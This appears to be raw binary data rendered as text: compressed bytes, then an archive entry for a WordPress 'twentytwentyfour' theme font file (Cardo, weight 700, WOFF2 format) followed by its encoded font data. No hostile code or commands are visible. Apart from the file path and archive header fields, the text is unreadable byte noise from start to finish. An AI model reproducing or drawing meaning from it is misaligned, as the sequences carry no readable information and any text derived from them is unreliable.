bQ]=%y`#I[i#X[ mۇ*?8H=_ sO_f3r:DfNn}70_Uj4=950 $B-s#4$KɎPfc~Bog/F(YWU k/IXZ1T ,}JU,FBvb@&g j&@W8!fjqC K1/qNj*m%呴0xy6&IHNJVՅP׉l#_h0=պ: (VU\+- B!JU_ Px ԞC`XlҕI,;945 kjC Q;^ulUxe^!ʺT$Bŕіl,(QO$;fU.Ά\,YxX{V~ZռeP;鉜37bs \B w_ꏫѣ67 O^A_VS{{.!RpˠC|Ԣl y?!'v/{I{V|o;Ữ'7ȶ{PC`: SxnB=e2.-%z̲͑L/w HCa! BQqWppU>o^hR)FlǽBne[ y,mSx*Dh'$c`Ȯa¸_M: EH:R0[8 c!lm 0Jj΂5QzHapT7_@Rq/B9>rL=>\ a,pHbdf0I&\(Khcy]f0e¸cBA@!}ZnLj :G<ЪV˕NDrP QyHU@vrO괢e`XhBo81!7A\ Rvk[^ Oi v{B9k;51C)iBĵ ֢\n~CrpL&,"}_$L,# uJQ AǢK]ȸ%lV_F}teaƵau{009MKWgaȓkUKIq8tt]? e{ŻV1UM4A D4 =T:ȵw|ZB>$ഄ8Y%@Bڙd$%%'b<`h?ZЕ{%JLc]Ed8VwLA[+ 6GpYeN jUc6#wAΪǶg}mH*N\VlC$Lgj0A/?1@\))FsC*kvno.h۽y3=lBƞgזj u 1ƶTѿzD=dS⯵a}$;V<19;J+ydŸejjw#m4]: YD&Ikoڜ4ABgvvFg{F3;+5)W)c¨Fk(c1XVⳬ[%inm4FGʣ35a: U='gv;y.^zb(J+…&K̕%Ĭ䧰)Ğ&KD'4t`R+0@k˛>tޓ pLT.yI"b<@`ģ&Ma9ZǙ"9Z˰SzY~28FgSR̜%FK&& ڔ"O(&>BYqjs*3{ qwwH~s qq޳bϦ  ;'xO'ꅽ^w (L+%ݨ!xwyQ\0bkEؑ+PInmyRL( G)JH0FtsS\W!d%7eSk>n1`AO>ȶHڞ۷iнD5hAE7" QY*pwJs~vq{\Y?6:#Jֈsy,V1cM Osхup<ڶx^a鹾Žb^uFݙvA4G`Ob5cZi~ ۄGՒԈٖFs {_ G{T_\\]ض6}7ɹs;'Y;恰}7^p桖nOݟSx7ozL *,Fv;x)v\hs^>4Opeyd]aqfGWnL#A2#M-Kdӝ:qŒ ?daΰ| qΟ7 ɓ^.J/ngs+,7r~7/_ñ=6WWoc(j+XZs{a<2o=x x)ݫFP~W4#?<d*)tϼش`AAIٴ?Z3XKCXRvݥ*;{C rv|~F7ػkڕ41+0rjj̺:%6AG;8 X#B-ךq>\47QWqeh6]NՀ Jv0.lrXKuryp]6wm7̲ugV#B6_\Mʢh̲6|E G7 [7XR*͟u^yخx uK[SUon׾wMsjy}k<~Z[][|d ~z?ft;+Ź#fvo3RjcdVph ϑз23dvlĝ㴏p}- % Ll]o.?'pX xv:f1F;5hH4Tabf ؐK`7cv,d6PSܷSa̍<9:G#|NUTo8#kV6V)V5'[$V>Hl4EǮWcr3YkuM'vwا颩XvդZgoh6 `QE@,5/ml眗xojY !҆ J!z9`m\mFuwcϾq>!滵( eAq7Gd_ ͼ&E>RWgyr$s}_ocLZvՕ#Qk㸛$njoIȾM躵۲vM5Iɯl?ՖpYPðg6- {= &,Ryև+7@V0-Ӣ?LHX#^@PUL.w&Kc]9q{nۻ| ~>d5mU&ܰC^Xcnwv ֣G9f{H[Yd3n߆XaV: ƈV۸IeݷNp!ˣL5r>(~f!0 "'h}dZ2|0 k] 3V5x,Ga^]MP-P,Az+^<{nܵ=`8”6?EzUtµ fgv ('Q"5,ۃT]ӭ'Bv xxbNŋ?^YRJ!Iq'a}#YF -e-fJl4<[Da fQpұV-ĭB+bmL 5'ܻ 8>H%en{8xf}m}dui$-K&huV1wSq/x8[d$&#K;!5+kKׯzf8tǬgjb$͆P(#ͭ0N; 7KPk7]Nmu:aǃ79)~^.H 2@.9N/.n`_9L"56&MLh` kKIFwݾS4dF1˃"k͊IJ eF9g; 'B ~ri\WNw;Kʿ~4(-Zxw7M[]tmCB$I#:I"8 xq&V$K(:<uYU0@ H5YCIJ޺ٸkٳUqz&8{1ӥ(ZTu3vgUOKuBǥ4 bk| fJ:\#"I@!!KzKifST&*ȰQ`Yrv(8XP\T)jG;B)7D{nwDh=y%\eÑ943M$.+Wn((vy4-% rf ޝ"H+tCD^JeNd4 suت;L7_jZ1~btvطǔdwt]ǂ1U; fCCu_C\1`wKK~A6 !AlӾnHɺmͩ /{|h>lB6^Wٸ&"Fh6 Rpv9q w,Rxݝׅ&kH4D'GH㗽;T5osKDŽ0$'S_T_ \UȃURk '$>`ANxѫ,STVsͷ7V; uN|i?v`.u pDRTU[b'ٕBÔl2zLtn(XOa !^Rߴ-tm]ːm@I če^@JMǥTWSuP9\+ UN~M6F dF  ,: =GCsy<Tm2NTo{ ; *UX|zʾ@7 ŶIHpg@.cegAcҮ-t6 n(u݁pФ9,'1L?mYhkFxBi>me% b_5ck_rb{fz zo-Wt;L.f~}E^[=g5 :/"giٱuSnߵozt0NŶYJq{Z5dTKL|ɍ.mi3"+x8 /( l/M9K_G9b- Meǒ}p30:CkuY ] !; Fr.]-Y.j6`p\(ؿ  @P&jT1tllKwwE%)4g]$֨ [EB126CISf9-]@ܥY@Gu" F䬎bqqz&yZI&CsC[@p"Alm8CmӉח 0jjxTi.Kom_=&т^V MsoM&^FLl <-3qu;Ь0񈋹kvƬm)sňzqYTC/ ,7'BZt8D}5T[oʁ,鑐Ν,ooj"7*ELfr0˫뛄*%Bfyiuaq"0ꟚA_LG 1Qo{M}; Fn!֟>n|QNQAB4Ry|9ޙ8 EmsBz!YEh;MW-jlġht?neP`[b˙dtKaeP6D4 n)/%[p^8J8%`3؜A@uWCo3ϲ9yz;@Q}AjMZQѺi+Fڽu=! . 'SlE4N#@,,~8ʂsZ<'T̿ ̾R{n2`h(MOP A~M\lϭcﻅ[f#qqyM4?!i)6Ion)I@ BuV%Tco7`1"T~˿BU烈_1FBmƖThʱp ~c-HpTXY"*"R@9iT#:Klnv@l!&}*  UO/pbs;HW=ee`͔ׄH5ԭ)~Zvε`{azӊ[TPUV zn:F%vVdwVMǂ\z߽j4ZŷKDMF4@<8 çU3h.{pX 4m!.8 \EPS_ kViC H->4g`:ѝYZ*ZER ^}ڵGmƙLڴ=N:r!=uQj}pLG3"/Fsdo0NN}'y(DP8GCqz1xFņ84)lm'Q׵X2S"2;c|V 7 \ ZNdkI\Iϙq/v9;C *鉩#Rp>~oIuë+`k׊#5H*+ܑD:tFk٨`F:nmor0=%@C&L7S##{#+;C̘=t@ 4\ٯ]d^0J#|1@V3pF&eٰ=1<+4w>\7C F.\pPsOL`F.BioНyN ]mjs4v֭1.48d_1躅她Ѡ^&P8bI#EŇlz-^[HqeS^:Qe^hwnY􍩁Ghޯ%!2(!r F,[3`֨qFљU$Fi9MG,׭!%2ö )gb2ဵn0„]z6IۨuTWkDѬYz6.dV8!X-Նgi&.'N#[6iUDADBSRror 5Y+ZhWzmĶt?NJxY^ᆎ)Rc=^amLVk~u}VgU%NW1Rk)uW bܫ8 [ [)i]Y"Y O[QnCu!U&E:\Pn6*%n:ݥfa`Z y 21[= q |;*~!Nd&4CP!H WD,p/DAɻ.usòK>E4SŷOLO&ȹE1Bp!ī84.]Ma{'jo [S<>')(j$;B2:0E`T^7e3  rHNʋ*Q핱\[~ WS^\VyHrU90"BnW&nyX=gy9\HI;v) S -ݸJ$ }6mɊ"͹1g3":ثݣ0ֺJ-*^.3T.zqd(+mj$,l oE"O .>dn|4YR-ma62p܍د$ [umxSDFa{Mau<%x#.*gZ|ś.FX$~Ѐ|ӯ\Ռ۴р,^@vt$ mp\-@b4sd˒ &+P3 /OՓt!/ O3Ze)0;pu[VI Z;iX[3.{G?J;(1 [ ,|4FA3Y1-P`ۉ7WQ(2^B PˤNcУ虸EA,@@dE( &hSzC^ڼDA~RVPPx V@+cosʭdd}yh Gi!J@QYLK|?\ӷ) \5%a̸g)a*kŘDκ;/e◠x6*J<)dGXC_GSoĜLyuauTL7@g$刃7A-|afe͇ӵ|to>p"sb6k/L}GGQ~/7*t3C$QXmvmᕽ7ʆ?&'o^ׄ6JqF09O8>BK; m5;쪗h&t"l?\e6404N n>uYxAV{9DJٰmQ\tM,L{ +{j9"{)>Dž H^*D&e?#&OtFoT㞞D}\ᙂ ,!^ bEZRC=J ŋ>-> /=*h/}:~n搫tLz'hg>v緣vb.BL-Y:<#|\+o"-("/7сQ{o5e%?fb6ZsD`:c$Ber^ 9.0*sߖkrt6]x%ZdYscrcLDҌXmX' vH4v̯S-yĜ{/wFf{߀H9LNKb8 /} ՛,+EVѓra聜Wk*.!#jzv GuS2r1$tƥ#{029AS߳zsϪpu#ӪvA70{} uomMt4(Lxͪ'h. ^O&2zυ*EansO6e( ml*h|2;0VV`ѓu:w#jyL]m|Ab_;hO&ؕFP<*Έ5hi%/JKԷms\&5<`3:0׫ f9 30e)#M,'7Ҏ Z=[[X,g֣EJ!RƄFI\'(%3_Zbϭ̓=gwP.'"rR`3;`XQ*݃8"@r dÉSJc )g`Z+T)&G#7S/PB"V.wĺFbFbײt 7ؔ8&lzLlSW?1yo8Ë,֐au^3 NXp4I3 NRt j}jU 's$4yKT]qV`_S lGV@bE)owimmfR܎8RNQ)<I!xS ^(WH+uc[ MDڐzcj;QG(u", B}(W,Zꜝ}sNvCXBŏe%Li.cu"KcD,ABmݥ4r3s<'cULQM$UeYQV5"h96J !k_8a Ɯ.8C2~|.$R0j%ISB5L Z7нXB_OJ' v<,G/)E9R! p[8e`|iƴQ,E'ڡ1ZOWaҫג*;_>fn=ϐuOHMy(x|v[ Gbȕ/BpH  zYxya̳B1U%6{^!;O5X;Qᙅ];`s`IkĶsx*v?Kw{YA0VTQGqnn*G#G 5$֗%:SG6xaiǞApD׃xafoBk cpٝ\ܤu3 lڸ5CӔ3Uq8hap[zwyc61ʖQ;uNGCʇ0= lÃrlI#" F&߷.\^Ѹ' sj$Em"|Ί6J%O#PnpDFu{Codg6,-hRٚ CͶ1z'0N6o)JlۦFDHk{#sWn݈@PhLx9:*B $%7%h$#ڮ%iaK97$|5M6Y*Z;EA#ux)l4>b_n6dmj6Ѫ::a-Z 9MlXxskvYv/NS<BCuipt7=nnf~iw%!/!mH) /97ӵtlNv86*h=;]N'Vm#-LTɡѥw'k-v35ܭ(P!v޴t=S(9!_v꘾~]'=r2<I?.faသn6]E&0CPX96qͰ\8@BܰMt:ϽGMg&ǮkW=I0[ OeҸvE 1s Vˣ9?xG8"B4aQ,y=ܠIxpnK|2 \0?0atnc^ص/Cg>|mEݷ :4w|׬F֗_a5T]0Aꝸbw2 `BABp]2G&M$8 :C4)OI}6nW晉I6~vK2n=REHv<ᚬowǛ "T5{/x}/(zM"E q<@ l޻)֢ V}Aٖ.CܝM \{ܠvkէ`B=o7Lg8M'5|*nRFjqXI4kƄrx#x_ܘd}B5V4L4Q܉&`h;s((K##$AVU;M`!!VY + j__3)@Y)40h F>%Ɲҍ=돖layqF'±)D%S[8cۓlVp$׎8`IK@NԐYc} )A (Fd_~\Ǵ'(I` ]۰BH&]8~hl,{/7"]g CH.Ľ1oiKs1t52,A(Rh^ ;#UHƝ+4o934-9p81rxJ`"9< Q 5uVVn+ioN7O㬕ZXs Q|vn7*ヷQ0aA0ede~3wZom>[RO% iHa.̇P2' Η-Z8+YOa(F߇ҳ1.ސ+/CQs0 H i/(H0H\$Vxz2P)]CJ>Y뻹s.֠VEjؽ2% c5bh>2DT-KE(wˍlj149]'"@SPY+daҥBsCe$ƟkP^=HԨ{yWKHD@1Ю6Wpv{HrzYInto!!4 hcx5,ˡ% R[@Nh 3Jp#|Ok(<# <٧B ^sp,fO0ܺn?v|?hb޿?70VFzQp_v&neO뎎qk ".XٰMbvh{oOD13IB v_i/θ˒}Q8,7Tҩt8ct:j~b &'d̴CM d9ԓcM &bvi8ǟf:aTPv3uc.7"jq20m׿3z~o}R9YNeѻTrm c JCC[2zg4cAGjT~u$!+08v蝪9 MbMm8.' pgbţD) +s?36yLG @W3&8il-FٻHy2qO5+f )%R_~v.+ , Av\B*C{oæ-۪jtiK'(h6Oh!;!6ڹy['!CtldU/[ ,6=iň+A'Bka;廋:SC \q=x`Œ+6T DBE,lr &c"ţ1Ⱥղ8j?wJeaNu&})BL ziz?YS"LQ."o:-36Ҡ{Zzm w3^S8]/ 9K~<vi +j;qn3>V LUxDdƄ nU4?B|d.4*jwaUU8jGϯ35-g)n=ɚạυui=1l:)k{23l6B\'DB.ңzTŁG[:_֐bA{ԢPRf0EcedhV7fQQ@0&מ*+¥lY24ˁ(-{O.z%qßi`=])~Οv>SK~C.u"TJ!XBG|/hr9ʤ('R['V#/*^a^Wj.Qw7aFuj"!?ՙG?# 2bʫs4SϿ/k?'*:h֪X:g6|@0` A-$<)y|C*VU>y#2B\]ݜiZM$fKlO0pWĜgr;b,K=qfSzeG)|CZ >E.ډmɿv3S >щZi'1)Qjv?tq ܸzʳ~%..Mm6$R]KfK$\2%Goњl Y*sDžnWl5CMB"̂jҟ2?; themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_700.woff2000064400000402724152335264760021276 0ustar00wOF2<zT` x 6$  :J[cM6yJHwxDtٸ-Op_0%/NnڗVK)W\?C`!k7^+ YoL{fxq9_,W&r!gFjԉ=dpW+؊f \ zLk*TX`{# a0Eރy*S@EK8 "n0c:/'~s/iCݖ^ãk菋1-OKx]+ɔ' /CITfT]5"!mHUPu~ݷA#ٻwqEgdpH{Ԍ,s,س0q)l 6jagB"@2K>"]ɘщ1[lԞ.hc=k{͜F^c>=eX%RIN!'^؞ܳ'@(u=+j VQFsYJ)Pj?1sΙRvb9?Wo.Zd<2އ%8.ndfeƇ ȞFOOKoШP$X@}2K#SY0MeoniΖVRoi S/ w#ؠÉ`~)'ğͦDN"!FԐ%H ͭ[bȐX& F 6`02$JDE0F_7P/˽φz͎Ga?΁Pеk(i *s~O9);25`F|PX|Q;dBtM sK#$e%eBmź&!hs(n9I QД[+aC;.]~{{ˬ`e[ݭl]A.n~j[$%xM:T(yGTY5DKT- K.SίɯbDֶm6$xJH-SrbS.L@(JqTyW䵒ȓ)_ZlK-l*V}HֳO(ʶ+RWuw ޙyw<:X_lmuտ(-J JWX@Xa).`5f/1TJ^meR7Ka.(giJ=;R2\h%bn!W4ʇD\K"O3{5ŀ(@0z}EXc' i!~[_!*2C#SB:9˘RM{* 9ؖ sԜv0DwuMwEx0F(emf2JDD(-Dh}?Lؐl:\'4?,deV"o[mvo5:$ ĜQJ?foS%2޻K~\wZ]=(f6m{GʙXs4Da `"kv; ﺅKwPǭ nn% gV9q^߽׾W[?K5h߳`4vT5p ,jQ4 h ^| @? 20#"bH_ۥC/h?zu$\| i?.?uC# ڳd@ }𺁀~@-Tzq/(*/t!wZ)xӗJМa̵08]=ѱ ;ݨ W?#. @? 18rJz%F':ѽb}<n1F @v "4>t-Qׇ\҉*0kw/ a(0B,Nkix-I`aFmx@Wa:H,Gt,mM\}9gnLSt2[,~$ 9\2}b*S v20pxvia-VBḏײeKsK}5FBvLVC$ѶT.00SCEwe yC;ߟ R0̂VA"ԭ‘sDeoCI6 *1[\BI1S%մj@׶Wth%QbC\2/*2Ld EG- Nrw^|)0010`/ى"ySb o|Rogo #HDlGC5n*7ϭg*S8,k'ܽy.}=h>*|4׃kR=D2g! \$$vsVȍhppHVV.CN8aX> p0#k1Q Qh2ehG{fy003f7Jy&pZ@0vgOe 1X&D4-V Ҥk:qUoMΜ\! }D@ gHH|cwi {g#ѶDݺvE~TAs=L&ŀ K!Di#^6XLƊ 6$PsWSl!e^|p†h??("CG(nR+xhbagCaD!+E8(Y)WnċW)[*ժmvl5l6oUm\jhh2TϚl5r媉!Zj4ث&㐓Nazw"WhrժYgb Eb]$zH6-hQS\0Q+VABbb갱|#5YL*nfȐØ1Ys.x{^_*D: 3gHܠ/^j5ji @1l̙ k`FCa5klsJ@II(@0V-DlFL ;̤In}2ԩC0bɛ7+D~g AĉcA,(||hŊa*f κ8mvsf Ý"..K'P mQt@3j<-幗"/LI!G>zگ$iHaPI*RMJa*-:o_7&xV&Hr1x-/*wR !/FFwS[+MZ۝u۾oꃏѬ@҆G~0Ã#g07k+nBmĩ?E-ELn\ OrH&|Pz{*TԄLl׈Io̕]_tӣoml瑂g&rHc)r{o~w4?6ǤXAc'S(XvJ)JHKMb b"EsӐ_d &eY)z}1#DMu3u5&PޖhǎfZX_Nrvu8Zt20SЀ%~+g7Z?h\9Nx^Ӧ#=_n3qLCD"Ɋ^xa{T9sm>A_h8qŋg!A2Ktr䲓' S*U#hK>d fˤ"[gM bxH(10 ' P$Ph1KuX#d12%K9zwB&ZХː}-rRKMZn)Ɲӌu " ]w-_붇cO +~yG%8c>NJTک κ[enbꖗ W,yڌYy?4`sZKn^>& [ )f]E6&xHCG; [YZvR) ry=>ZvNn^3)մ1 m26-VOsf[m]]RO0L42e.E9&ݠwޓSԻ4ud iHC@ ÍƋ Up8x3BqsiD8YS&x')('9)Z25qJX5\P%`IkvORjLӖcqB{fﳳu>mKS%kEӾ$gcg;Ǹ5l'9Esb(}&9j'[~U?~V8VpNPYgu!V䱘- g42B4<}CFb 5Ym~׌xIfBL(',˸>z3e7wYC&"*uJjM>z@6'JwفxVkf)3զd 3hffl_{#,T;zF[щ?qY"b%R#R*%$34hm4M#E'9JJ⒍jh.X b~̋ٱ?B} P·sLǴ_;]?鄞ڣ-BEi)';qo*/"~t?\p_\N-s`Ϳ0wcp-fBBRel=~VY"^# 4]<+|LB:[˚P/X }nFZwf ˊbdi)ݡ 1ܸ!4BhDaQ T FWi?skn^2U81&*PC%ّ!PڅH8 ~:-]ɧ4֠w-g6eX ׍, 8$K ΕOӓF [2.4l<((3+A#!Z( WdX^k"\7a5&+F:4$2N 9' u jEanr1A[RxJ`HzsX^̑yB/]͂7ȬG 4Ò_}{5-z?<"bu]$@+Cϖ/F<ϽP+j$hF/dgYa[OH ŊxtbeHJQjp(dbת9ר>G ܶ$WxrmASֵiYWIv#٫a%~ck;lܢhұpf9{B=Bi[ga@\aիLI(ulRa "Ef>(mmx$>ogeWS}q#tIk+CvRy?TAs+}B>q5J?E*. H߇j՘zx+L}NϋzY^P5q5vW 4txrH kOԊ{Ic8xN=`9nm)uP:tCЛZ{g Qڈ ꬹj?;ؘ:鞐vqLN^;﫟71b ob%î+% {5U9+PAq2CܞPߕ}j!ZJYX>8]Ҋ<;(w6S[V._MDe>'Ƙ]hʖWDv7qFXVmXiJnj:#EM2 N]\n]RFsTƵrpva+`DkaMJH&\Gհ p>:Һ#HoY012cSը]YQ74L_$~z5ya \wA[@SN:̦^sh*`~"-l>)%@4~ _USAu؟LYE<֡*ϯ2ZYrcA$4\Nvr^yHtH><%Ѫ SӬB%"3_Ç"{fi|{حD֮ѰC!|J6a(P],<œ(W)qx>uطZf+mkU~٦( Vi9]0 'J#G<갖AZ-{Լ`.yʬUbz.E,GeR ˘nٰr%X7bOvѥ#@h{%j=~qr{ yA>:CKYi\WE/oyΚ{zI;qk̥rKTLliYo 8SKKڤk"(>_]Vh b8a0r-! zm w|4rNsBK)ajR=)[~=7K/|zk꽫qv4Uk!g8ߣ=d8+Gv&F3P04d&5I5g"Rܙⱞ*%<dAzgq8Yk&p(gggBmRv >@*fs2Q/dT}% @9vZxlmGN&7f:Zc DHo-o2??+,|OYzjE1N^SKWmL@qz9iTꅪ]-y`I+f+7.PϤh쯧"L**᪔ZHYug5@]ӥC(BȾٙL?@d!g7 J ɮ_q(ˌa$/ 5 ui"/4AXVǤ]h)k TtcҲHEHwq1d*sJ.D (UJh7ज WW q{s@>BQ^J!IfiΒ`g6 ШI9s>U)/bB`DNkiFW$ت?5ȂնK})%H &td3W H^X8'AyuXBU t̔(O٣?dMTEiua+JG)KOlY~e6|Jס&yI%:C8Ϝ&~TCU[9 =V>VdӏY=SH _6-敲 &7[cPKPjV(릺Ǚs' KK NH 3~:{E]es<[He2_}eY4l$Eyx:P5rblΞVagCjȀL_s٢̲E'sDqeqsB(B"b.;[Jw"N{ːF{H#v*'4/% [\0NPD.ubX^A=c%M;mjV9\ bwN8:p[,6uZ^ҝɠ1-jnHҷYlAmBzYpe֯8@Z4dо{w2GaBhÅ=ueټ1+K>1PӐeߢ ٿʋlk8nq%{O l,WעʨȊr,]W5bjUjSGvӵu"U6.H+t3aa!+Uӻe~O@ڵ{d>`[ZvWY.u/G- bRC|`:eGy&ng' %if݋XV͌kzʵ[-ktZ|畼-Ml5#?Tixw w|'BM;;(ѠH1E`hgoTݩXv(!$s;jd}hʖG  1 T0*"yF~6_1O&%۱W&w "F<88 )UQWVN`"lwJFoSgNyAKfHUqyZӀU Bzui1E4s坜 unyUqNV(!U<!<,b컮}narJs򮐞p/K^ ̳1%QsϦ0x!ȊU!|Ѫ\_z!'ڼqxpf?t3 WQ.\ۺJ¨Pv$5/ 4 $cdqx9m||iJl:l"Q -SC1OsgN?S >@vX+ ndK!U8:CDTxK"nT>ͨ|s\Pv[J"" b ,nv,/xPuwI3GneE(\;Zzm:D2F+K .t6;(z@s+tH,K`{)qႹ!H' v]cJLl*5ne)ߨ(h"GR)}} ;vԲW\QLsv^ Z" ]?E:)@ LpCu§X::nnNn#\ =!@Rz7M.Wq7p[h<Ђ?5jah^lBhXfŖ1;)z1[^ޕ8`3ȉ |px M*y=Z/ "$Uk^8?` ,SVsY8 S%~4,${3β4ZJACMIGqlZ{XHȈʈm#d%\tGm1&e5#SO.}1852EVkO<۟uf7O\ I>z/͹ w֘GKŇe{`UnTᤡh/Uj3S jZ.{=KȌطNjOܧ禈aϲLј}m~ib|9_6-ozNEU0᮸/\clP7\sN)U^dͫC*18?t“- SA-*sζA~(üb7cu>:G 'P1)\#%.@/7@RXgH?y>Ct SSQƥ\Xbn~D<=4:9cr @$A§u]ࡡ6tQ;PRD|57J?x8YU'[s}>C;t8v!Yy$F(bM 5*#Qώn.=M X&(Dq0CX 3m}x܃l<905:#_:y`h0a,Y#&(-LK#pvSqa}䞓.%g\Z_iqN?N`(7כOL-1Nrx?J6ՕzyXs-5 }䆅/ꄋi*֥ 7C:WUotxȥ1YB&J Q--7w ֫QdQ>` XYt&7`1;ub{oL M歮ڱA"y%_ss:˻AdQTM4hUɊ\ Go;ҷ(!`ߑTSfܨ2fU6M2Ujf}&mGcl7t*(n}EvS!1iJa [84Xs `w- 򨳐6b=H_Rb<[2+EH,vnCQ{<]ϧ{<)X^tCBćY$[u1,W\L{bc R/S‘L1e&`vu @-OvB D6Y8=񃲢#8jt.]NY-2ljn{-pe'j|J&r03tA2갾 U6uE ɛ4ʗy(cLjhu7vN];tA x v ΐT[#dLraƮh,oWY^Oo@>d֫&.;~Z$QZ@KuaܢC46^c泾^Vr;4GV_[zZgRuMN,Uqܝb^_ψ;c0wQ;60UIB$vMr%[(d2tG\.&曹ށ@[FjbRdƃ^K#kY R-4S"ɦh\{c$e? j# wvi")3Bn;I>{c$e)^Ҩkz;'!uk)Sލ k 8yIz@"_E1˷ vh 肫_'bʂ?d IX.o@J!Ӄ y{ƍ*M-'\v8,'(õich)'Zq) m&k+ pSI$C_+7JLX"-D _αB0jrی7)g{VvE^+\7@ċ$c!qfs3K-v(~?ߊNIGGv^9}ځ~Z+s%Y럡 g}G)SpaNWpP 0EhW Xϕi\IW\B`}cO旝o.`u\Pw>k-"ZbǧkS[6i[}G9alnգy4ԦK=}5Q?hCZa3_{jd>]5+TI4y{1+nܤug7F}@MxIƙyLFB0ڰl$ӁZ+i.jIcS'gN,((z<*QM44S^ݼv˰QM28t}fȟDj4ʨ1?VgTdO3a`$OFfMGN\j3^{w i(~J~p;MD)XN_зC)`>ǚ_ ?v>EZv>Ώ3[6ᕋGNp,e~&%n9Pq*<(}{aCK ٽN!S8%1UB^2A: 2NENjtZB3ۛx}ulx"vn 0`l2]?c [ؿ MC-~; 5\;wj2,t܉?4!1#r"spT  9Xmi=^+TL .,\RI~)z9T3nz ~zrYvY0;o< Izو9FnKfM Aˬ K<op|6密ڐ(]-~znvW&jC^1^N",{ )igO EmR u8%LΦpę7p_|exR)I`<'MNdr6b$n$.f]#ԄfŝMFkbLbsW FOН_/Lв^؜sq, @KFj#⊺(Z'(4h=5XBɪ0kn\ZA#ų3z,Gt! .|,&!i@?6:QFgkdu5<8^VL*mkrɶ!&z| xUJ?9?^xzS篢xm r$0Q@MjIM>(r T:NO\%ꀁ :;` cLUJ0zTQI@cXŜOu"*iؒ \4%ĩ8C1,&4*f _9~s(e]ubXīí꼇C`-1>-Ա `NЃ.a"Х12t⌶i?dwNov&A 8oxS&΀z2i먀b\x ]pˊGv, F3Ac2ƂF̴0jSI=1ZTE:_4o3QzH1*7l׳_ P [|4e cy%yC{NX4p8" X} bp~~<yP]lGD͸ y4oN]k..=79m*Okxoyb*cd>D -Jr̮W]qb"8&x_#a[F\4!UF{˙8*ciWޮy]xX*3-z9 }#`=И}3+$Z\O NϮFizT$z clQ,{nF 2@(Tp(**~o2xوzFl=l7+35R;fk<4Sюk9Xwޛmu (Jː iJյsRs]+KLkϻQgc&Vro  @ojf_nC9"z'M>^?k9]]ir-CR4H^32QM'1i`ӿ6эoR-U,J\~dSK9U :")./TWZOȵ>;$eP,ZGČ/.̍L}U<7ȢIOA&z!+(܁tuٚwA0BMkS;AWSpzۦW/MTk 梩ࡳWQbݩ-uJ[ Gv)nGgIxM[P 3܉@wc=W?w#~wZ'RlJ޲ hs:KYwP:3A״?)  Φ֣onJUZ 7 ࡙CYVLe dO Ϩ6{MlZTn^Mw NfWw/w$nZ>.C$ Cw4SQ-+p5/3‘0Pn>hW2ϢZq<+W֓+7Aͤ ǺFaPvxzIO``;4$93>n4 N).dr͐R]ׄ6nx@Y70C߈gs$;`ƢP )X7 L?>|:U㼔h֧Wvضn6㒯"d/Sʭ՛{Ν2 TP{FϮa_t@ۚMm9_";k+MkadIpfEuP{[V(  yճTtl#Kj6%+wwX7$h{b܄seQ ed+l3GlT'`9Oɕg=5c8Y?=dTfǷwu 3WfE,|%L0 oT5Qc"Rc'bұR&Ec]$S%AcĔ\i@Dh;vyz![|o=mW =5 RD;zǘnr#p^rc/L>;y9Xu#XDNV'MM&qk>IVNӥKwy# kǯonczp=MydCsbi^s@DfXG\K6sGi%\D mt}<ߥә,ޕ2!XDUVvUa>[f9%_?F|跇98S n0JX}VV3"أ8 gӈ tu&,du҂Ku>Cgoд"9Wehwi~jyĤ=g}n+bpUfz"홢ÀP}F_YI{#yXsr1c:e@W#|@tJs\ξ\AX)eRRD {=}O?dy/Ya{bSTE59O\,S 5SǝhSNjgGKIpu˜V/}&G5g'́\2P(:mck rb{5x5Vr_>wℼ>=䫯7>p>9D"dEI֛CmGbM ys$G ;6[N&8?,w^ nd4 v`\<Ū ,zTSn0ޡmWӥivʗ,*u0t}nUm2] ߹4h;zvV^ IkNg%јFGXg{^`u0mbtEt͊M/UrHw)7S=Xh $ՕZ"jm$WCt ϦaF'A[ 7&9}/BዹH^/Wʁ:uY 6Vak'2Ay!r /]o<{CĹIXl;Uڔˎ0lް\ݹK4 0 q Yt?f[@0)6o[i? > \ *CU1 NE:|eW ,`sȠ4|ttJ3C $ߣ}9JqJn @K3/-)gp.pldC~7f] FE4 &bz(:q{E*Z?Xo3YUylb?p qQUmbSg Rtf=h2=59xP|JQy "=p (NK/$`lDEFAdCӏՖ"XSmWɯrBNeA do%vxi3 BSA ?&d[x+1}~ L u:[2P(@pZŦf z2e/dǯRoSj)X1嫎^+/q{\ԁ#ܖִ9ME 'I7t?~_3)5 MJM;>2V( +;6!~ӆƏO` _fGpFGLţE20z'8GQ{0)!:ԣytv^db7ތSS-f#-y~9pO &_oi0Up!91?KOR@ػK`ÀYlT@S׍>Edۆ 5ZLs"UK:*0'd|%Ů|Ԫu|?F[kw20GhKZ%OSNkY^ !vcHLU'ݨH Kqpat-oKd}ɦpoPjsRGy)\Fe. r~Xy1Ts&.:^"H)2p 502:&Y1t؆Uіδa80T; h-V-7m.Y#!;4P©LGpp~:bGHPZт;#Fؗb#9Y}IB K; JW3ve嵿}Fpg͵<{')6_>9pg-lJ)Z}I3ѩLnAJo|8ӼS5X:ҧK<kx?֋ύQG}l`WMq!b8򨱱 jP$s>WC\ C)1 QmuCƳR"x圾bIӺO7:xCK0/)VQw<)Tnk6@1ԼE98tiEY^2gemKaÑ -Q1\۹ϹE/@=JS3]HZ :`xVV9*nr_p $T;+,G=v2VX]Z.8˦ĨunBQ'(ŗN^T%?Z97Hy}| +%(\G}Kf[ e!vaGI٥w`i]s5K-ϋYzΛ} <ۻiF:NTaV@1ؗ66 d0׍ _/ ^"5s+# \m}W˸SuvK̪^OҮ'sW{kI=~|+cd@6 p ʓDS=Ē֭ jgu+Q\[u2#Ik4~qiay4 :cM9XHZϠV()fQl2"n$)zoS/)<,>2ی߃ Waa.xsYzY7lyjuX!a-FL|tKc㮒0)u1 ?u%'Z 3V+?Revp)tjiwBf΀q39WWd4h(NRzt5w[|<t xާhb8[`ItT{1Ռ7"}P:J$.> SEءқ(%?uu&G5p ׷L% f?i"JnƉ`1Z6뾶Ɍiy/ڽ>Iv6Uxо Ϗl]x!91E`/ρ!+¤dn|qH[+tX(D} ]^L ~'ߟy̼/MR_=fO0~@B߼˘_=}K%^5-{I+\(\P9=Gw{HOr*Pwt̅ G[ `r^:ͤ0P#KiT5j6o<|8͑ύyoWG.,u|Ha~ +Ut$ɨ?`YB3GhH( [ >M]ZWu(ENhF~g7\ m>nc}KDziL 5M~f {~:YT À$P4E\Ae!"R ` `)Q-K+b[̖˪6vX4(= Oɩ&E;#"OYGwe!1)aIjJ<-מ.53ݧ3b!xw^AjI*@U@06FKd,"A_.IfܜC J[u.Z 